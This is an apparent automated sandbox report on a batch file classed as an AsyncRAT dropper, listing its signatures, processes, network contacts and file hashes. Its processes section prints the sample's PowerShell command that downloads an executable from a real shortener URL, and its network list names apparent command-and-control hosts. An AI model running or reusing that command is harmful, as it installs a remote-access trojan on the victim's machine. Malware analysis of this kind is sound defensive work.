Malware Analysis Report

2025-08-10 14:27

Sample ID 241029-3f9xba1je1
Target file-ly5.bat
SHA256 5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb
Tags
asyncrat default discovery execution rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb

Threat Level: Known bad

The file file-ly5.bat was found to be: Known bad.

Malicious Activity Summary

asyncrat default discovery execution rat

AsyncRat

Asyncrat family

Async RAT payload

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

System Network Configuration Discovery: Internet Connection Discovery

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-29 23:28

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-29 23:28

Reported

2024-10-29 23:28

Platform

win10v2004-20241007-en

Max time kernel

14s

Max time network

18s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

Signatures

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\file.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\file.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"

C:\Users\Admin\AppData\Local\Temp\file.exe

"file.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 3

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 u.to udp
RU 195.216.243.155:443 u.to tcp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.135.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 155.243.216.195.in-addr.arpa udp
US 8.8.8.8:53 233.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 excellent-waiver.gl.at.ply.gg udp
US 147.185.221.23:43655 excellent-waiver.gl.at.ply.gg tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp

Files

memory/2912-0-0x00007FFC0D293000-0x00007FFC0D295000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ny31slmh.q1n.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2912-1-0x0000015E1B360000-0x0000015E1B382000-memory.dmp

memory/2912-11-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

memory/2912-12-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

memory/2912-16-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\file.exe

MD5 d435bd69c788f8f42a73158ea2526716
SHA1 dc640272ce6c4a1bf8487ab917fd175b034de7aa
SHA256 98208142a545c388e0fc0efcf8a6b203673412c0510ab330c47337fa74bb4dc2
SHA512 729200f3d1e30f90f81defb6e392a90d54509fdf55238971e7ba1df2663fb9f042490a8329bad5c02a8768e956d41d1180049414802f08a6974b35f03d953b62

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe

MD5 29b38d4c415d9b464f1ff073e0a43913
SHA1 ddf87b649f725c62ebd42914c71b2e446f1aeddf
SHA256 6fd7acee70eef7574951bc9def49e41c2fde7aea50141672dcb1b2c79f510549
SHA512 3f5801764e4c124c3b5cea11ddc3a79eb5cf37cb1bc50059ba2f9010200e717b36c726409595a1064dcf364eeb77fd801d8ef6ca73546a498e0dff5d9e668897

memory/4664-32-0x0000000000630000-0x0000000000646000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-29 23:28

Reported

2024-10-29 23:29

Platform

win7-20240903-en

Max time kernel

13s

Max time network

20s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1684 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1684 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1684 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 u.to udp
RU 195.216.243.155:443 u.to tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.133.233:443 cdn.discordapp.com tcp
US 162.159.133.233:443 cdn.discordapp.com tcp

Files

memory/2912-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

memory/2912-5-0x000000001B510000-0x000000001B7F2000-memory.dmp

memory/2912-7-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

memory/2912-6-0x0000000002040000-0x0000000002048000-memory.dmp

memory/2912-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

memory/2912-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

memory/2912-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

memory/2912-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab6F68.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

memory/2912-28-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp